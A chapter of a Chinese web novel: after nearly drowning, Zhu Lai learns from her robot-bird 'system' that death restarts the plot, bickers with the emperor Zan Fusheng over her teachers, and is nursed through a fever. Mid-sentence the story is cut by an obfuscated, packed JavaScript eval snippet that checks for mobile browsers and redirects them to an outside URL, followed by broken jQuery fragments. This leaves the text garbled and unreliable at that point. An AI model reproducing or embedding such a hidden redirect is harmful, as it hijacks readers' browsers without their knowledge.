一夜无梦。
祝涞头一回睡得这么香,没有人打扰她,而且还有大型靠枕。
等等?人形靠枕?祝涞的手边尚有余温,身边却没人。
她想起昨天的事了,不过没怎么惊讶——反正NPC都是工具人,应该也没有什么感情。
系统站在床尾,耷拉个脑袋:“你是不知道自己不会死吗?怎么那么害怕?”
“原来你一直在啊。”祝涞往上踢了一腿,系统跟着掀起的被子一起飞起来,又猛地落下,“人之将死,哪顾得上什么道具。”
被摔得脸着被子的系统:“我是在啊,我当时喊着让你用道具,你一点没听见,害得我也不小心掉进了水里。”
系统那时死命的在旁边让祝涞喊激活道具,结果自己跟着掉进去了。
好在它掉在祝涞的肩上,一起被救出去,没什么大碍,就是总感觉脑子进了水。
“你说的不会死是什么意思?”祝涞问它,“难道我是不死之身?”
“不是。”系统晃了下头,又扇动它短小的翅膀,“你身体并不会真的死亡,但是一切会重开。”
“那就是重新走一遍剧情?从哪开始?”
“最开始,你刚到前塘村的时候。”
如果昝浮生没救她,那就前功尽弃了。
彼时祝涞有些庆幸,她又想到昨天昝浮生那么奋力救她。
为什么?她想不出什么理由,索性不再去想。
祝涞一生病就会对身边的人特别依赖,以前爷爷在身边,祝涞总让爷爷在家陪她。
可现在……
她身体还没好全,虽说不会真的死,但依旧很难受,跟现实中生病没什么两样,还因为是溺水,痛苦程度不亚于发烧加喉咙发炎加重感冒,再加任何一个不严重却时刻让你难受着的小病。
她现在就中招了,打算卧床不起。
人生不过三万天,她能不能过三万天还不知道,能休息先休息。
“你今天别吵我,我要睡觉。”祝涞闷着头,拱了下被子。
阳光明媚,春光姣好,在这样的天里做什么都不叫浪费时光,她的心情跟着天气在变好。
祝涞就这样睡到了大中午,“叩叩叩”,外面有人敲门,她没理。
“叩叩叩”,又来一声。祝涞不耐烦地要去开门,就听到一个意想不到的声音。
“师父!师父你快开门!”娄吉在门外喊着。
祝涞赶紧把门打开。
娄吉一把搂住她:“师父!听说你昨晚掉坑里了,你没事吧?!”
祝涞愣住了,她把娄吉轻轻推开,让他站好,两手扶着他的肩膀问:“什么掉坑里了?”
娄吉指着还在看戏的御竹,被指的人没有丝毫的闪躲,还微微耸肩:“嗯,你师父昨夜带着全身泥回来,乍一看,还以为练画练的掉进墨缸里了。”
什么东西?!好在祝涞理解能力还不错,立马明白了他的意思。
“嗯嗯。”祝涞配合他,朝娄吉点头,“我没什么事,肯定是这两天太累了,头眼昏花,一不小心就摔了。”
“师父。”娄吉真诚地看着她,又垂下头,“你教我……觉得很累吗?”
“那倒也不是。”祝涞语塞,想了好一会,才说,“肯定是我太努力了,太勤奋了,跟你没关系。”
娄吉当场怔愣住。
御竹当场瞪大眼。
昝浮生带着满身的风尘走进来,就见里面站着几个人形雕像。
“怎么?”他问两人,眼睛却看向祝涞。
“他们被我的勤劳打败了。”祝涞面不改色。
昝浮生目光只在她脸上停了一瞬,微微侧开:“此为你睡到正午的理由?”
“睡到中午还不是因为昨天溺……”祝涞话锋急转,“泥巴弄我一身嘛。”
她探究地眼神看着昝浮生:“昨天谢谢你。”
御竹这才反应过来今天早上看到从祝涞房间出来的殿下,他那时的眼瞪得比现在还大,整个目瞪口呆,只不过他家主子的样子太正经,根本不像风流了一晚,更像是被别人糟蹋了。
御竹看祝涞的表情有些不好,但是昨晚祝涞都虚弱成那样了,哭声也大,还有力气拦住殿下,不让他走?
他不敢问主子,因为主子貌似并不想说。
反正不管怎么想,这俩在御竹心里的关系已经变得很不一样了。
昝浮生没说话,他坐到中堂,把之前没写完的书法放好,又拿起笔。娄吉登时来了兴趣,他跑过去看,见桌面上一沓写满文章的纸,那字写得行云流水,张弛有度。
“这些是你写的吗?写得真好!”娄吉指着其中一张说道。
昝浮生抬眸,将笔沾了墨:“你师父写的。”
祝涞:?!
娄吉回头看她:“师父你还会书法啊,”
祝涞走近一看,确实是自己写的,不知什么时候被他拿了出来,还照着她的字在临摹。
“你师父本应先当的吾师父。”昝浮生没动笔,眼神越过娄吉,看向身后的祝涞,脸色如常。
想偷偷溜走被抓个正着的祝涞:“嗯…我见他如此努力画画,就想先助他一把。”祝涞又给娄吉使了个眼色。
千万别说我要进画院。
好死不死的,娄吉当下便问她:“师父,你当时不是说,要与我一同进焦大师的画院,所以才来教我的吗?”
祝涞左思右想:“噢噢,是吗?应该是吧,我忘了。”
她又想往外走。
“站住。”
那声音不大,却唬她个正着。祝涞顿时没再动,眼睛不知在看哪,反正就是没看昝浮生。
“你师父还需休养两日,待她身体好些了,自然再会去教你。”昝浮生对娄吉说,片刻后,他在纸上随意画下几笔,峦山溪川的脉络雏现,“画画太过较真,未免是好事。”
娄吉恍然大悟的样子:“我明白了。”他说着一拍手,转过身对着祝涞,“师父你多保重,我先回去了。”
祝涞:…难道不应该是祝我早日康复么?
然而她一转头就看见昝浮生沉着个脸。
……
好像保重也没错。
娄吉走后不久,房间里没人说一句话,御竹见气氛不妙,赶紧开脱:“我出去练一会儿。”
祝涞见他要走,连忙说:“欸等一下,我也想练。”
话刚说完,祝涞又觉得要完蛋了。
因为周遭的气压更低了。
御竹一溜烟先走一步,祝涞呆愣着站在门边,头低着,脚偷偷往外面移。
就在她觉得过了有半个世纪那么长的时候,她稍稍抬头看了一眼,离之前的位置还不到五
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854611|191630||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
厘米远,再一看,脚边还多了个人。
昝浮生的腰带上佩戴着一个青绿色玉圆环,底下缠有一串金黄色蝴蝶流苏,随着他来的动作而一起一伏,像要翩翩起舞。
昝浮生走近些,他带起的风让祝涞觉得有点冷,她微微一颤,感觉他俯下了身来,高大的身躯又很清瘦,却仍带有一股压迫感。
“你还想有多少个老师?”
他的话让祝涞心脏一紧。
祝涞在心里给自己打气,她抬起头,毫不畏惧地对上他的眼睛:“那又怎样?不行么?”
昝浮生嘴笑眼不笑,一脸薄凉:“你若有什么想学,朕可以教你。”
祝涞早在御竹那里得知他十八般武艺样样精通,他既然这么想教她,她倒也不亏,只是他说自己来微服私访,那必要花时间在这上面,又哪里有空教她?而且他不还要看书么?
“我想练武。”祝涞说着,朝他走近一步,脸和他隔得不过几寸远,她笑道,“你能一整天教我吗?我还什么都不会,想学快点。”
“可以。”昝浮生直起身,目光依旧凝视着她,“不过你不能去画院。”
她本来也没想去,这就算不上什么要求。
祝涞:“好啊。”
昝浮生的目光移向她的房间:“这几日不可行,需待你身体痊愈。”
祝涞都快忘了自己还病着这回事,她确实有些感冒了:“嗯。”
*
晚上祝涞喝了昝浮生给她熬的麻黄汤后,还是找系统要药:“给我感冒药。”
系统脑子里的水干得差不多了,它躺在祝涞脚边,今天一天祝涞都没做任务,它也乐得清闲:“我这里没有,你要去补给站。”
“补给站?”祝涞想到那个诡异的管理员,感觉凉飕飕的,“我现在去不了,你帮我去买可以吗?”
“不行。”系统滚着圆圆的身子,“你忘了吗?买道具是需要身份核验的,要摁掌印。”
人感冒了就是反应慢,祝涞擤了几下鼻涕,感到头十分沉重,她躺下来,钻进被子里,又冷又热的。
她好想有个人形抱枕,昨天那个就挺好,没想到昝浮生看着一副文文弱弱的样子,身材却这么有料,总之抱得很舒服,还很香。
祝涞顿时觉得自己有些变态,难不成她真有什么癖好?
但是祝涞不想把自己的感冒传给他,以防万一,她明天也打算少跟他们讲话。
夜里,祝涞睡得昏昏沉沉,浑身酸痛,她感觉有人轻轻探了下她的额头,还为她换了几次冷毛巾,她身体一重,出了好些汗。她一感冒就容易发烧,虽说没什么大问题,但过程却无比煎熬,她就这样迷迷糊糊睡到了中午。
一醒来,祝涞看到自己的被子上盖满了衣服。
……
这下她知道昨夜里为什么感到身体沉重了。
祝涞伸了个懒腰,感到一身轻松,看来发烧已经好了,她拎起睡得正香的系统:“你不是机器鸟吗?还用睡觉?”
被打扰的系统:“机器也需要休息的,不然容易死机。”
祝涞想起昨天它说的话:“你当时掉下去后,有感受到什么异样吗?”
“没有。”系统闭着眼,一副不想理她的样子。
“那就奇怪了,我怎么感觉你变瘦了呢?”祝涞看着“瘦”版系统,疑惑地说道。